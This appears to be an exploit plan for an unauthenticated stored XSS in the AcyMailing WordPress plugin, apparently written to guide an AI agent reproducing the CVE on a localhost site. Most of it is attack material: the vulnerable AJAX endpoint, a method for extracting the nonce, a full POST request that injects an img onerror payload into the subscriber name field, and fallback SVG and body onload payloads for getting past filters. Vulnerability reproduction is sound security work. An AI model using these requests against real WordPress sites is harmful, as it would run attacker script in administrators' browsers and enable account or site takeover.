AcyMailing – An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress <= 10.11.0 - Unauthenticated Stored Cross-Site Scripting

This research plan outlines the steps required to analyze and exploit CVE-2026-57741, an unauthenticated stored cross-site scripting (XSS) vulnerability in the AcyMailing plugin.

1. Vulnerability Summary

The AcyMailing plugin for WordPress (versions <= 10.11.0) fails to sufficiently sanitize user input during the unauthenticated subscription process and fails to escape that data when it is rendered in the administrative dashboard and subscriber management pages. Specifically, the name field (and potentially custom fields) provided during subscription is stored directly in the #__acym_user table. When an administrator views the subscriber list or the dashboard, the malicious payload executes in their browser context.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: acymailing_front
• Target Parameters: ctrl=frontusers, task=subscribe
• Vulnerable Parameter: user[name] (Payload carrier)
• Authentication: None (Unauthenticated)
• Preconditions: A mailing list must exist, and the subscription functionality must be accessible (e.g., via a shortcode).

3. Code Flow

1. Entry: An unauthenticated user sends a POST request to admin-ajax.php?action=acymailing_front.
2. Routing: The request is processed by the plugin's front-end dispatcher, which routes it to AcyMailing\Controllers\FrontusersController::subscribe().
3. Input: The controller retrieves user data using acym_getVar('array', 'user').
4. Storage: The data is passed to AcyMailing\Classes\UserClass::save(). The UserClass (extending AcymClass) saves the raw or insufficiently sanitized name into the #__acym_user database table.
5. Sink (Rendering): An administrator navigates to the AcyMailing "Users" page (wp-admin/admin.php?page=acymailing_users). The AcyMailing\Controllers\UsersController fetches users via UserClass::getMatchingElements() (found in back/Classes/UserClass.php).
6. Execution: The admin template iterates through the users and echoes the name field directly into the HTML table without using esc_html().

4. Nonce Acquisition Strategy

AcyMailing requires a nonce for its front-end AJAX actions. This nonce is localized into a JavaScript variable on any page where a subscription form is present.

1. Identify Shortcode: The plugin uses [acymailing_form] to display the subscription form.
2. Create Trigger Page:

   wp post create --post_type=page --post_title="Newsletter" --post_status=publish --post_content='[acymailing_form listids="1"]'
   

3. Navigate & Extract: Use the browser_navigate tool to go to the new page.
4. Extract Nonce: The nonce is stored in the acym_helper JavaScript object.

   browser_eval("window.acym_helper?.nonce")
   

   Note: The exact key might be acym_helper.nonce. If that fails, check window.acym_ajax_nonce.

5. Exploitation Strategy

The goal is to inject a stored XSS payload into the database via the subscription AJAX task.

Step 1: Setup Mailing List
Ensure at least one list exists for the user to join.

wp db query "INSERT INTO wp_acym_list (name, type, active, visible) VALUES ('Exploit List', 'standard', 1, 1);"

Step 2: Perform the Injection
Use the http_request tool to send the malicious subscription request.

• URL: http://localhost:8080/wp-admin/admin-ajax.php?action=acymailing_front&ctrl=frontusers&task=subscribe
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  user[email]=victim@example.com&user[name]=<img src=x onerror="alert('XSS_SUCCESS')">&acy_list_ids=1&nonce=[EXTRACTED_NONCE]
  

6. Test Data Setup

1. Mailing List: Create a standard list (ID 1).
2. Subscription Page: Create a page with the [acymailing_form] shortcode to facilitate nonce extraction.
3. Administrator User: Ensure an admin user exists to "trigger" the XSS by viewing the backend.

7. Expected Results

• The AJAX request should return a JSON response indicating success (e.g., {"type":"success", "message": "..."}).
• The wp_acym_user table will contain a new entry where the name column holds the <img ...> payload.
• When navigating to wp-admin/admin.php?page=acymailing_users, the browser will execute the JavaScript in the onerror attribute, resulting in an alert.

8. Verification Steps

After sending the HTTP request, verify the database state using WP-CLI:

wp db query "SELECT name FROM wp_acym_user WHERE email = 'victim@example.com'"

Confirmation of the payload in the database proves the "Stored" nature of the XSS.

9. Alternative Approaches

If the user[name] field is sanitized in a way that blocks <img ...>, try these alternative payloads:

• SVG Payload: user[name]=<svg/onload=alert(1)>
• Body Payload: user[name]=<body onload=alert(1)>
• Custom Field Vector: If the site has custom fields (check back/Classes/FieldClass.php), target user[fields][ID] where ID is a custom text field. The store method in FieldClass.php handles these values and may also lack sanitization.